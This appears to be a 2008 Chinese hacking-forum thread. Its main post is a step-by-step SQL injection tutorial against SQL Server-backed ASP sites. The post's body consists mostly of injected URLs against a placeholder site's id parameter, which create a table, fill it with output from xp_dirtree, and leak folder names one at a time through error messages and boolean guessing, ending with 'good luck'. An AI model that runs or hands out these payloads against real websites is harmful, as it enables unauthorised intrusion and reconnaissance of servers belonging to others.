找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 564|回复: 2

SQL server取得网站路径的几种方法及比较

[复制链接]

485

主题

3564

回帖

70

牛毛

初生牛犊

积分
70
发表于 2008-8-16 19:46:30 | 显示全部楼层 来自 辽宁省营口市
你太可以了

经常发写东西 不错

25

主题

1017

回帖

1383

牛毛

二级牛人

黑狼“钱”斑竹

积分
1383
QQ
发表于 2008-8-16 19:51:50 | 显示全部楼层 来自 广东省汕头市
你自己写的?
哇哦!不错耶~支持,支持!

253

主题

1490

回帖

2325

牛毛

二级牛人

88

积分
2355
 楼主| 发表于 2008-8-16 19:21:10 | 显示全部楼层 |阅读模式 来自 广东省广州市
如果网站只开了80端口,你会发现下面的方法是比较有用的,其中用的方法几乎都不是我发现的,文总包括一些注入时的个人经验和技巧方法可以说有4种(现在已知的)
  第一种方法:

  这个是<<怪异的SQL注入>>中介绍的方法

  利用sqlserver的xp_dirtree,好的我们先来将一下方法,然后再说其优劣处(在原文的基础上作了点补充)

  建立表

  语句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--

  返回:正常的信息!说明建表成功!继续!

  (建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用

  语句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree ’c:\\’ --

  返回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。(好像只有暴这种方法了)

  语句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

  返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

  将 varchar 值 ’@Inetpub’转换为数据类型为 int 的列时发生语法错误。

  再依次爆出表中的目录名称!

  语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

  dirs where paths not in( ’@Inetpub’))--

  返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

  将 varchar 值 ’test’转换为数据类型为 int 的列时发生语法错误。

  再依次爆出表中的目录名称!

  好我们继续

  语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

  dirs where paths not in( ’@Inetpub’,’test’))--

  返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

  将 varchar 值 ’haha’转换为数据类型为 int 的列时发生语法错误。

  再依次爆出表中的目录名称!

  好了,你应该知道怎么做了吧,哈哈,就是把得到的表名添到那个括号里,有多少就放多少吧,

  一点技巧:

  有时候你会发现当输入类似

  http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

  时不是显示出错,而是网页显示正常

  晕了吧,别紧张哈

  看看0<>(select top 1 paths from dirs) 说明返回是一个数字,

  哈哈,测试一下看看是多少吧

  100>(select top 1 paths from dirs)

  返回正常

  哈哈,用这种大于小于的方法很快就能猜出了

  好我们继续

  比如当出现

  59=(select top 1 paths from dirs)

  返回正常,

  ok,说明名字是59

  输入如下

  http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

  dirs where paths not in( ’59’))--

  记得带上引号哟

  下面的方法就和原来的一样的了

  还有一个问题就是

  有时候用上面的方法输入59时,发现下一次的文件夹还是59

  这个是怎么回事情呢?

  呵呵,不知道你有没有注意过059和59是一样的?

  就是这个原因了,哈哈,

  http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

  dirs where paths not in( ’059’))--

  发现显示下一个文件夹名字了,ok

  优缺点分析:

  优点就是所有的sqlserver用户都可以使用,因为xp_dirtree适用权限PUBLIC,

  缺点是显示的是目录下的所有文件夹的名字,而且排列好像是没有什么顺序的,总之在好几千好几万个文件夹里找你想要的文件夹是痛苦的.

  而且你知道了有那个文件夹也不能保证在根目录下,实在是痛苦的一件事情呀,很多时候是靠运气和耐力.

  祝你成功
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5用户社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-14 01:01 , Processed in 0.120925 second(s), 29 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表